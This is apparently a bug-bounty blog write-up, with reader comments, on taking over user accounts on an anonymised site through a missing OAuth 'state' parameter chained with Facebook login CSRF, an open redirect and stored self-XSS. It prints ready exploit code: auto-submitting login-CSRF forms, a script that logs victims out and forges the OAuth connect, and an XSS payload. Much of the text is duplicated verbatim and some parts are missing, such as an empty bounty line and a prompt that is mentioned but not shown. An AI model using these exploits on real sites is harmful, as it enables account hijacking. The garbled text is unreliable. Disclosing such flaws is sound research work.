Hello,
In this post I'm going to share how I could takeover www.example.com users accounts.
So, what was the vulnerability?
In this post I'm going to share how I could takeover www.example.com users accounts.
So, what was the vulnerability?
Well , It was a very simple OAuth flaw which I could use to takeover users account with minimal user interaction.
Cut the crap, Give me POC -_-
Ok.
www.example.com users have an option to connect their facebook account to their example.com account.
www.example.com users have an option to connect their facebook account to their example.com account.
Once a user connects his facebook account to his example.com account he does not need to enter his username/password to login instead he can simply click on "Sign in using Facebook" and he will be logged in (only if he is already logged in into his facebook account which he connected to his example.com account)
Ok all looks good let's see what happens in background when any user clicks on "Connect with Facebook"
GET Request :
https://m.facebook.com/v2.2/dialog/oauth?redirect_uri=https://www.example.com/user_profile.php?action=fb_connect&scope=email,user_birthday,user_education_history,user_hometown,user_location&client_id=11111111111111
Did you find the flaw??
As we can see there's not any "state" parameter hence this request can be forged to connect currently logged in facebook account to currently logged in example.com account.
Now in order to exploit this vulnerability first we need to log in our (attacker's) facebook account into user browser so that we can forge the connect request and connect our facebook account to their example.com account.
Fortunately facebook is vulnerable to login CSRF so all we need to do is first log in our facebook account and then forge the connect request in users browser.
Fb login CSRF exploit :
<form action="https://www.facebook.com/login.php" method="POST">
<input type=text name=email value=EMAIL>
<input type=text name=pass value=PASSWORD>
Now the challenge was how to forge connect request after the form is submitted??
<form action="https://www.facebook.com/login.php" method="POST">
<input type=text name=email value=EMAIL>
<input type=text name=pass value=PASSWORD>
Now the challenge was how to forge connect request after the form is submitted??
Once the form is submitted we lose control. And yeah it's facebook so iframe trick won't work here.
So we have to find a way to make facebook forge the connect request for us.
Again fortunately there are so many end points on facebook which takes URL as input and redirects.
I found one of them:
I found one of them:
https://m.facebook.com/login.php?next=URL_HERE
Final URL which will login my facebook account and also forge the connect request:
https://m.facebook.com/login.php?next=https://m.facebook.com/v2.2/dialog/oauth?redirect_uri=https://www.example.com/user_profile.php?action=fb_connect&scope=email,user_birthday,user_education_history,user_hometown,user_location&client_id=11111111111111
But wait how to deal with this ???
It's quite simple, To bypass this prompt all I had to do is first connect my facebook account to my example.com account so that facebook will save this (example.com) fb app in my facebook account and facebook will not ask me for this approval next time when I connect users (victim's) example.com account to my facebook account since this (example.com) fb app is already approved by me.
Final Exploit:
<html>
<body onload=document.getElementById("id").submit()>
<form id='id' action="https://m.facebook.com/login.php?next=https%3A%2F%2Fm.facebook.com%2Fv2.2%2Fdialog%2Foauth%3Fredirect_uri%3Dhttps%253A%252F%252Fwww.example.com%252Fuser_profile.php%253Faction%253Dfb_connect%26scope%3Demail%252Cuser_birthday%252Cuser_education_history%252Cuser_hometown%252Cuser_location%26client_id%3D111111111111111" method="POST">
<input type=text name=email value=FB_USERNAME>
<input type=text name=pass value=FB_PASSWORD>
<input type=submit>
</form>
<html>
<body onload=document.getElementById("id").submit()>
<form id='id' action="https://m.facebook.com/login.php?next=https%3A%2F%2Fm.facebook.com%2Fv2.2%2Fdialog%2Foauth%3Fredirect_uri%3Dhttps%253A%252F%252Fwww.example.com%252Fuser_profile.php%253Faction%253Dfb_connect%26scope%3Demail%252Cuser_birthday%252Cuser_education_history%252Cuser_hometown%252Cuser_location%26client_id%3D111111111111111" method="POST">
<input type=text name=email value=FB_USERNAME>
<input type=text name=pass value=FB_PASSWORD>
<input type=submit>
</form>
OK this was one way to exploit it, Now what if the facebook was not vulnerable to login csrf?
There was one more way to exploit it , by using stored self XSS and login CSRF in example.com.
Let's discuss.
There was a page which was vulnerable to stored self XSS :
https://www.example.com/user_overview.php?msg=93
https://www.example.com/user_overview.php?msg=93
Now my plan was to first plant an XSS payload there :
'"><script>alert("Sending your fb tokens to Attacker ="+document.location.search)</script><
Next I would simply log out users example.com account and log in my example account (which contains stored self xss payload) and then forge the connect request and make redirect to the location where I planted XSS payload (https://www.example.com/user_overview.php?msg=93) and steal the Oauth code of user's (victim's) facebook account.
Since the user's facebook account is already connected to user's example.com account we can use that code to login to user's example.com account. (This method will only work if the user's example.com account is already connected to his facebook account and he has currently logged in to his facebook account)
'"><script>alert("Sending your fb tokens to Attacker ="+document.location.search)</script><
Next I would simply log out users example.com account and log in my example account (which contains stored self xss payload) and then forge the connect request and make redirect to the location where I planted XSS payload (https://www.example.com/user_overview.php?msg=93) and steal the Oauth code of user's (victim's) facebook account.
Since the user's facebook account is already connected to user's example.com account we can use that code to login to user's example.com account. (This method will only work if the user's example.com account is already connected to his facebook account and he has currently logged in to his facebook account)
So forged connect request will look like :
https://www.facebook.com/v2.2/dialog/oauth?client_id=111111111111111&scope=email,user_birthday,user_education_history,user_hometown,user_location&redirect_uri=https://www.example.com/user_overview.php?msg=93
Notice the "redirect_uri" parameter , we can only change the path from this. Changing the domain name would result in failure.
Final Exploit :
<script>
var logout='<img src=https://www.example.com/logout.php>' //TO LOG OUT VICTIM'S ACCOUNT
var login='<iframe id="iframe1" src="form.html">' //TO LOG IN ATTACKER'S ACCOUNT, form.html contains login csrf exploit with attacker's account credentials of example.com
var steal="https://www.facebook.com/v2.2/dialog/oauth?client_id=111111111111111&scope=email,user_birthday,user_education_history,user_hometown,user_location&redirect_uri=https://www.example.com/user_overview.php?msg=93 "
document.write(logout)
document.write(login)
setInterval(function(){ location.href=steal; }, 3000);
</script>
Above exploit will first log out the currently logged in user from his example.com account then it would log in our example.com account and then it would forge the connect request which would redirect to our stored XSS location with Oauth code like:
https://www.example.com/user_overview.php?msg=93&code=CODE_HERE
Now our XSS payload which we stored before on that page will execute it will send that oauth code to us.
After that I could simply login to user account by :
https://www.example.com/fb_auth.php?code=CODE_HERE
BTW I think I could simply request the oauth code for my facebook account and then forge above request in user's browser to connect my facebook account to his example.com account ;)
Simple exploit :
<img src=https://www.example.com/fb_auth.php?code=MY_ACCOUNT_CODE_HERE>
<script>
var logout='<img src=https://www.example.com/logout.php>' //TO LOG OUT VICTIM'S ACCOUNT
var login='<iframe id="iframe1" src="form.html">' //TO LOG IN ATTACKER'S ACCOUNT, form.html contains login csrf exploit with attacker's account credentials of example.com
var steal="https://www.facebook.com/v2.2/dialog/oauth?client_id=111111111111111&scope=email,user_birthday,user_education_history,user_hometown,user_location&redirect_uri=https://www.example.com/user_overview.php?msg=93 "
document.write(logout)
document.write(login)
setInterval(function(){ location.href=steal; }, 3000);
</script>
Above exploit will first log out the currently logged in user from his example.com account then it would log in our example.com account and then it would forge the connect request which would redirect to our stored XSS location with Oauth code like:
https://www.example.com/user_overview.php?msg=93&code=CODE_HERE
Now our XSS payload which we stored before on that page will execute it will send that oauth code to us.
After that I could simply login to user account by :
https://www.example.com/fb_auth.php?code=CODE_HERE
BTW I think I could simply request the oauth code for my facebook account and then forge above request in user's browser to connect my facebook account to his example.com account ;)
Simple exploit :
<img src=https://www.example.com/fb_auth.php?code=MY_ACCOUNT_CODE_HERE>
Bounty:
Conclusion:
Never take small vulnerabilities like self XSS , login CSRF , logout CSRF for granted ;)
Congrats!!!!. Mine Duplicate :v
ReplyDelete:v
Delete